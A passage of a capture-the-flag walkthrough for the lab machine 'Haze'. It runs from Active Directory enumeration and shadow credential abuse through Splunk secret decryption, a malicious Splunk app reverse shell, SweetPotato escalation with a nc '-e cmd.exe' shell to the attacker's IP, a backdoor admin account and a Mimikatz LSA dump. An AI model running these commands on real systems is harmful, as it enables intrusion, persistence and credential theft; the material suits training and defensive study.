faketime -f +8h bloodhound-ce-python -c All -d 'haze.htb' -ns $RADDR -dc "dc01.haze.htb" -u 'HAZE-IT-BACKUP$' --hashes ':735c02c6b2dc54c3c8c6891f55279ebc' --zip

The results appear as a .zip file. After importing the resulting data into Bloodhound, I checked each notable user/group again:

  • mark.adams
  • HAZE-IT-BACKUP$
  • Support_Services

😮 Oh nice! There’s definitely something new here:

bloodhound new privs appeared

That looks extremely useful. The AddKeyCredentialKink privilege is the main requirement for a “shadow credential attack”.

Shadow Credential Attack

This is a very good article describing detailed steps to perform the Shadow Credential attack

Since we’ve already added mark.adams to that Support_Services, we should be able to do this with pyWhisker:

pywhisker.py -d "haze.htb" -u "mark.adams" -p "Ld@p_Auth_Sp1unk@2k24" --target "edward.martin" --action "add"

pywhisker failed

😒 Huh? Why can’t it find edward.martin? I’ll try doing the same thing but with bloodyAD instead:

bloodyAD --host 'dc01.haze.htb' -d 'haze.htb' -u 'mark.adams' -p 'Ld@p_Auth_Sp1unk@2k24' add shadowCredentials 'edward.martin'

pywhisker failed 2

That’s very troubling… Why can’t edward.martin be found in LDAP?

For future research

Why can’t pywhisker or bloodyAD find edward.martin in LDAP? I’ve seen this user before, so why is it an issue now?

Can I only “see” certain users when querying LDAP from specific perspectives?

Maybe this same technique would work if I used a different user to link the shadow credentials? Thankfully, I have another compromised account - HAZE-IT-BACKUP$:

We can use pywhisker with --action 'list' to test whether an account can see edward.martin 👇

pywhisker list

The only difference between these two invocations is which user I ran the query as. Clearly, there’s a difference!

⏩ To run pywhisker as HAZE-IT-BACKUP$, I’ll need to add HAZE-IT-BACKUP$ as a member of Support_Services. That means re-doing the last few steps:

# Write HAZE-IT-BACKUP$ as new owner of the group
impacket-owneredit -hashes ':735c02c6b2dc54c3c8c6891f55279ebc' -action write -new-owner-dn 'CN=HAZE-IT-BACKUP,CN=MANAGED SERVICE ACCOUNTS,DC=HAZE,DC=HTB' -target 'SUPPORT_SERVICES' 'haze.htb/HAZE-IT-BACKUP$'

# Grant AddMember privilege to HAZE-IT-BACKUP$
impacket-dacledit -hashes ':735c02c6b2dc54c3c8c6891f55279ebc' -action 'write' -rights 'WriteMembers' -principal 'HAZE-IT-BACKUP$' -target 'SUPPORT_SERVICES' 'haze.htb/HAZE-IT-BACKUP$'

# HAZE-IT-BACKUP$ add ITSELF as a member of the group
pth-net rpc group addmem "SUPPORT_SERVICES" "HAZE-IT-BACKUP$" -U "haze.htb"/"HAZE-IT-BACKUP$"%"ffffffffffffffffffffffffffffffff":"735c02c6b2dc54c3c8c6891f55279ebc" -S "dc01.haze.htb"

# PyWhisker to add shadow credential
cd ~/Tools/pywhisker/pywhisker; source ../bin/activate
python3 pywhisker.py -d "haze.htb" --dc-ip $RADDR -u "HAZE-IT-BACKUP$" -H ':735c02c6b2dc54c3c8c6891f55279ebc' --target "edward.martin" --action "add"
mv lPhtiK8q* ~/Box_Notes/Haze/ 

added shadow credential

🎉 It worked! Now we just need to authenticate. As the PyWhisker output indicates, we should use PKINITtools to obtain a TGT:

faketime -f +8h \
python3 gettgtpkinit.py -cert-pfx ~/Box_Notes/Haze/lPhtiK8q.pfx -pfx-pass 'P4NZM7XvVkqL9tNLqfAz' -dc-ip 'dc01.haze.htb' 'haze.htb/edward.martin' '/home/kali/Box_Notes/Haze/loot/edward.martin.ccache'

got edward.martin TGT

Excellent - this saved a .ccache file in the expected spot. Now I just need to authenticate using Kerberos. Recall that edward.martin is the other user in Remote Management Users, so this should work over WinRM:

Note: I already have my Kerberos client configuration file saved as custom_krb5.conf

cd ~/Box_Notes/Haze/loot
chmod 600 edward.martin.ccache
export KRB5_CONFIG="$PWD/custom_krb5.conf"
KRB5CCNAME=edward.martin.ccache faketime -f +8h evil-winrm -i dc01.haze.htb -r haze.htb

found user flag

Excellent - we’ve moved laterally to edward.martin, and they hold the user flag! Read it for some points:

type C:\Users\edward.martin\Desktop\user.txt

ROOT FLAG

ℹ️ You may notice in the following content that my IP address has changed. I was having very poor performance on the Release Arena VPN, so now I’ve switched over to one of the VIP servers.

BloodHound Collection

Now that we’ve gained access to a new user, it’s once again time to collect some data for BloodHound. This time, I’ll use two different collectors:

  • SharpHound.exe, ran locally on the target host as edward.martin
  • bloodhound-ce-python, ran from my attacker host
net user X: \\10.10.14.5\share /user:test test  # this SMB share is hosting my toolbox
X:\SharpHound.exe -c All --collectallproperties
copy "20250402072212_BloodHound.zip" X:\

On my attacker host, I’ll get the SharpHound results from the SMB share, and run bloodhound-ce-python:

# Move the Sharphound results
cd loot/bloodhound
mv ~/Tools/WINDOWS/20250402072212_BloodHound.zip .
# run bloodhound-ce-python
KRB5CCNAME=../edward.martin.ccache faketime -f +8h bloodhound-ce-python -c All -d 'haze.htb' -ns $RADDR -dc "dc01.haze.htb" -u 'edward.martin' -k '../edward.martin.ccache' --zip
# fix permissions and ownership
sudo chown kali:kali ./*
chmod 664 ./*

As usual, I’ll get Bloodhound-CE to ingest these two zip files now.

Now that we’ve collected new data for Bloodhound, we need to check what has changed. What can we see now that wasn’t visible before?

The most notable thing I see is that edward.martin is the only member of Backup_Reviewers:

edward.martin backup reviewer

Currently, I’m not sure how that group membership will benefit us, but I’ll keep an eye out for backups.

Local enumeration - edward.martin

SMB

I checked to see if edward.martin had access to any previously-unknown SMB shares, but they do not:

Get-SmbShare

check smb shares

PE Enum Scripts

I often check the following automatic-enumeration scripts:

  1. SharpUp

    X:\Ghostpack-CompiledBinaries\SharpUp.exe audit
    
  2. Seatbelt

    X:\Ghostpack-CompiledBinaries\Seatbelt.exe -group=All
    
  3. WinPEAS

    X:\winPEASany.exe
    

None of these turned up any particularly significant results, but here’s a quick summary:

  • Seatbelt reminded me to check for vulnerable certificate templates, so I’ll do that next 🚩
  • Seatbelt and WinPEAS both noticed that LAPS (Local Admin Password Solution) is disabled, so the Administrator account might have a normal/human-readable password.
  • There is an account for alexander.green that hasn’t been important yet, but that user actually has the highest login count…

Checking for AD-CS issues

I didn’t realize it, when I was reading through the SharpUp and WinPEAS results, but one or more of my Bloodhound collectors accumulated all kinds of certificate-related data. With the latest Bloodhound-CE, we can see all kinds of certificate-related problems at-a-glance by checking a couple Cypher queries.

Long story short: there don’t seem to be any AD-CS privesc opportunities on this target.

Looking for backups

Earlier, we noted that edward.martin is special mainly because of their membership in the Backup_Reviewers group. There wasn’t anything notable in SMB, I should still check the filesystem.

Thankfully, my search was almost instantaneous:

found backups folder

Inside, there is only the Splunk folder, which itself contains only a single .zip from August 2024:

Splunk Backup found

Let’s exfil this and examine it on the attacker host:

copy splunk_backup_2024-08-06.zip X:\
cd loot
mv ~/Tools/WINDOWS/splunk_backup_2024-08-06.zip .
unzip splunk_backup_2024-08-06.zip

Splunk Backup

The backup seems to be the whole C:\Program Files\Splunk directory:

backup directory

Referring back to foothold, I checked in etc for the both passwd and auth/splunk.secret - both were present. The passwd file in this backup only has a single hash, for the admin user:

:admin:$6$8FRibWS3pDNoVWHU$vTW2NYea7GiZoN0nE6asP6xQsec44MlcK2ZehY5RC4xeTAz4kVVcbCkQ9xBI2c7A8VPmajczPOBjcVgccXbr9/::Administrator:admin:changeme@example.com:::19934

Unfortunately, I was not able to crack this one using hashcat (mode 1800).

The same “sensitive” files we found earlier are also present in this backup (the ones we decrypted using the splunk.secret file):

searching for hashes in backup

Interesting - I was only expecting to see the same three files, within the etc directory. We know the hashes should have the “algorithm indicator” with a $ followed by at least one digit, so let’s grep for it:

find . -name "authentication.conf" -o -name "server.conf" -o -name 'web.conf' \
| xargs grep '\$[0-9]\+'

grepping for hashes in backup

Two of those use the $7 hash that we saw during foothold, so let’s decrypt them the same way:

SECRET=/home/kali/Box_Notes/Haze/loot/splunk_backup/Splunk/etc/auth/splunk.secret
# pass4SymmKey
splunksecrets splunk-decrypt -S "$SECRET" --ciphertext '$7$u538ChVu1V7V9pXEWterpsj8mxzvVORn8UdnesMP0CHaarB03fSbow=='
# sslPassword
splunksecrets splunk-decrypt -S "$SECRET" --ciphertext '$7$C4l4wOYleflCKJRL9l/lBJJQEBeO16syuwmsDCwft11h7QPjPH8Bog=='
# bindDNpassword
splunksecrets splunk-decrypt -S "$SECRET" --ciphertext '$1$YDz8WfhoCWmf6aTRkA+QqUI='

Attempting to crack the first two secrets resulted in some strange python error. But, thankfully, the splunksecrets tool also handles the [old/legacy hash mode](old/legacy hash mode) too!

cracked backup authentication.conf hash

This is the backup authentication.conf file that it came from:

...

[Haze LDAP Auth]

SSLEnabled = 0
anonymous_referrals = 1
bindDN = CN=alexander.green,CN=Users,DC=haze,DC=htb
bindDNpassword = $1$YDz8WfhoCWmf6aTRkA+QqUI=
charset = utf8
emailAttribute = mail
enableRangeRetrieval = 0
groupBaseDN = CN=Splunk_Admins,CN=Users,DC=haze,DC=htb
groupMappingAttribute = dn
groupMemberAttribute = member
groupNameAttribute = cn
host = dc01.haze.htb
...

😮 This might be the password for the elusive alexander.green account! alexander.green : Sp1unkadmin@2k24

I’ll still check this password for credential re-use, though. As far as I know, a simple LDAP authentication attempt and an attempt to log into Splunk is all I’ll need to check. As an example:

crackmapexec smb -u 'alexander.green' -p 'Sp1unkadmin@2k24' -d haze.htb $RADDR

Credential Reuse check

UsernameService
alexander.greenLDAP or SMB
administratorLDAP or SMB
alexander.greenSplunk
adminSplunk

Just to be thorough, I also tried this password with alexander.green using RunasCs.exe:

runascs fail alexander.green

Alright! This credential lets us into the Spunk Dashboard. We’ve verified the credential admin : Sp1unkadmin@2k24

Splunk dashboard

Splunk Dashboard

The Help > About panel shows exactly what version we’re on:

Splunk Enterprise
Version:	9.2.1
Build:		78803f08aabb
Server:		dc01 

The Users page shows who is able to access Splunk. Clearly, alexander.green is the admin user (due to the config file above, and due to process of elimination):

splunk dashboard users

The Splunk Dashboard seems to place an emphasis on using “Apps” to augment Splunk’s built-in functionality. This is pretty common amongst products like this, and with CMSs.

So can we use the same approach like we might normally do with a CMS: uploading a malicious plugin? We’re signed in as admin, so it should be easy 🤔

Reverse Shell

A quick web search for “Splunk RCE reverse shell app” yielded some results right away. While it’s a bit old, this repo on Github from @DimopoulosElias seems promising. It’s basically a (very basic) python reverse shell that has been bundled into a .tgz with all the appropriate metadata.

As instructed, I’ll modifiy the reverse shell inside the archive with my details. I’m using mousepad, opening via Thunar, because it’s easy to modify files within archives that way:

modified revshell in archive

Now we can upload this by selecting Apps > Install App from File. The installation seemed fine, but my reverse shell died right away:

revshell failed

Is the reverse shell flawed? Is the target doing something to block the ultra-suspicious port 4444? Let’s fix both potential issues:

  • I’ll use port 53 instead of 4444,
  • I’ll use a more comprehensive reverse shell (“Windows Python3” from https://revshells.com).

⚠️ To re-upload the same “App” you need to select the Upgrade app checkbox.

sudo ufw allow from $RADDR to any port 53
bash
sudo rlwrap nc -lvnp 53

alexander.green revshell

👏 Success! The malicious app worked perfectly.

Local enumeration - alexander.green

net use X: \\10.10.14.5\share /user:test test
powershell

As usual, let’s get some new data for Bloodhound. Since we only have a reverse shell (no credential or hashes), I’ll only use Sharphound:

cd C:\Users\alexander.green\AppData\Local\Temp
X:\SharpHound.exe -c All --collectallproperties
copy 20250403081837_BloodHound.zip X:\alexander.green_sharphound.zip

Importing this new data into Bloodhound doesn’t tell us anything particularly interesting:

alexander.green bh

Manual enumeration

One of the first things I like to do when gaining access to a new user is to check their privileges:

whoami /priv

alexander.green privs

👀 Look what privilege is enabled!

SeImpersonatePrivilege

SeImpersonatePrivilege is normally granted to service accounts that have some need to impersonate a user or another service account. ChatGPT provides a decent summary:

Windows components and certain administrative tools use this privilege to perform operations that require temporarily adopting a different user’s security context. This mechanism is particularly useful [when] a front-end service needs to access resources or perform actions as if it were the actual user.

Hacktricks has a paragraph written about abusing this privilege. The gist is that we should utilize one of the “Potato” exploits, RogueWinRM, or PrintSpoofer.

IIRC, I’ve only used a “potato” once, during the TryHackMe room on Windows Privilege Escalation. Thankfully, I took notes for the whole room, available here.

SeImpersonate

My notes on Potato usage are mostly based this fantastic article. To choose the right tool, we should check our Windows version:

windows version

Using the decision tree, we can conclude that SweetPotato is probably the correct one to use ✅

The source code for SweetPotato is available here, but I would much prefer a precompiled one, which I found in another repo here (the SweetPotato-Webshell-new seems fine)

I’ll make SweetPotato.exe available to the target using SMB; then it should be as easy as running it:

.\SweetPotato.exe -a "whoami"

sweetpotato 1

😮 Whoa! That was super easy. Let’s see if we can leverage this into a reverse shell. Starting as simple as possible, I’ll go with a nc reverse shell. I’ll place a copy of nc.exe somewhere that the “impersonated” process can access:

copy X:\nc.exe C:\users\alexander.green\appdata\local\temp\nc.exe

Now let’s see if we can use SweetPotato to form the reverse shell:

X:\SweetPotato.exe -p "C:\Users\alexander.green\AppData\Local\Temp\nc.exe" -a "10.10.14.5 4444 -e cmd.exe"

Moments later, our listener catches the shell:

administrator reverse shell

Finally, there is the root flag. Read it to finish off the box:

type C:\Users\Administrator\Desktop\root.txt

EXTRA CREDIT

Adding an Administrator

Getting a reverse shell is great, but wouldn’t it be good to have an easier way to let ourselves in, in case something happens to the reverse shell?

The courteous thing to do is to add a new administrator account, instead of editing the existing one:

net user "4wayhandshake" "finch123!" /add
net localgroup administrators 4wayhandshake /add

⚠️ Beware using singlequotes in either the username or password. Use doublequotes instead!

Now we can freely login as this new admin user:

evil-winrm -i dc01.haze.htb -u '4wayhandshake' -p 'finch123!'

Dumping the LSA

What if we want all users’ NT hashes? That way, we won’t need any more reverse shells.

A great way to do that is by dumping the LSA, using Mimikatz. Since we’re already an administrator, this should be easy. I’ve already made mimikatz.exe available via the SMB share, now we just need to use it:

net use X: \\10.10.14.5\share /user:test test
X:\mimikatz.exe "privilege::debug" "lsadump::lsa /patch" "exit"

⚠️ At first, I tried X:\mimikatz.exe "privilege::debug" "lsadump::sam" "exit", but it only produced one hash.

dumped lsa

The list goes on, even including my newly-created 4wayhandshake user. I copy-pasted this dump into a text file for convenience.

Now, we can simply login as any user in the Administrators or Remote Management Users groups, using WinRM:

WinRM as administrator

CLEANUP

Target

I’ll get rid of the spot where I place my tools, each user’s temp folder:

del "C:\Users\mark.adams\AppData\Local\Temp\*.*" /s /q
del "C:\Users\edward.martin\AppData\Local\Temp\*.*" /s /q
del "C:\Users\alexander.green\AppData\Local\Temp\*.*" /s /q

Attacker

There’s also a little cleanup to do on my local / attacker machine. It’s a good idea to get rid of any “loot” and source code I collected that didn’t end up being useful, just to save disk space:

rm -rf loot/splunk_backup

It’s also good policy to get rid of any extraneous firewall rules I may have defined. This one-liner just deletes all the ufw rules:

NUM_RULES=$(($(sudo ufw status numbered | wc -l)-5)); for (( i=0; i<$NUM_RULES; i++ )); do sudo ufw --force delete 1; done; sudo ufw status numbered;

LESSONS LEARNED

two crossed swords

Attacker

  • 🐺 Run multiple bloodhound collectors. During Haze for whatever reason, we couldn’t see very much about the AD environment from any particular user. Sometimes, we had to perform Bloodhound data collection both remotely (ex. rusthound-ce) and locally (SharpHound.exe) to get the full picture.

  • ♻️ Re-do bloodhound collection every time you compromise a new user. Even when using multiple Bloodhound collectors, you can’t assume that every user can “see” every AD property and relationship. To give the broadest understanding possible of the AD environment, you must re-do collection every time you compromise a new principal.

  • *️⃣ Use a regex to find hashes in deep or broad directories that would take too long to enumerate manually. This idea can help you to rapidly find hashes, especially if they are of a known format. Combine this with my search-filesystem tool for maximum efficacy!

  • 🐚 Enumerate the target both before and after gaining a shell. The greatest power (and weakness) of Active Directory is that an astounding amount of data can be collected remotely, without ever getting RCE. Take advantage of this to ensure good visibility over your target.

two crossed swords

Defender

  • 🙊 Backups shouldn’t hold secrets. Especially with local backups, this is a surprisingly difficult problem. As an administrator, sometimes it’s obvious that a backup is needed, but it’s not readily apparent what the backup might be used for. Ex. Need a backup of a whole filesystem? Then it will probably contain secrets. Need a backup of just an application configuration? Then there are well-established ways to keep secrets out of it.
  • 🚯 If secrets must be in backups, mind your permissions. On Haze, the Splunk admin’s password was backed up into a file that people other than the Splunk admin could access. If the backup must contain a user’s password, then that backup should only be accessible by that user.

Other than the obvious (avoid credential re-use, keep software up to date), there wasn’t anything that stood out as an obvious best-practice for defending this target.

If anything, it’s a haunting reminder that Active Directory is insanely complicated. Its configuration must be carefully designed, checked, and reassessed every time something changes.


Thanks for reading

🤝🤝🤝🤝
@4wayhandshake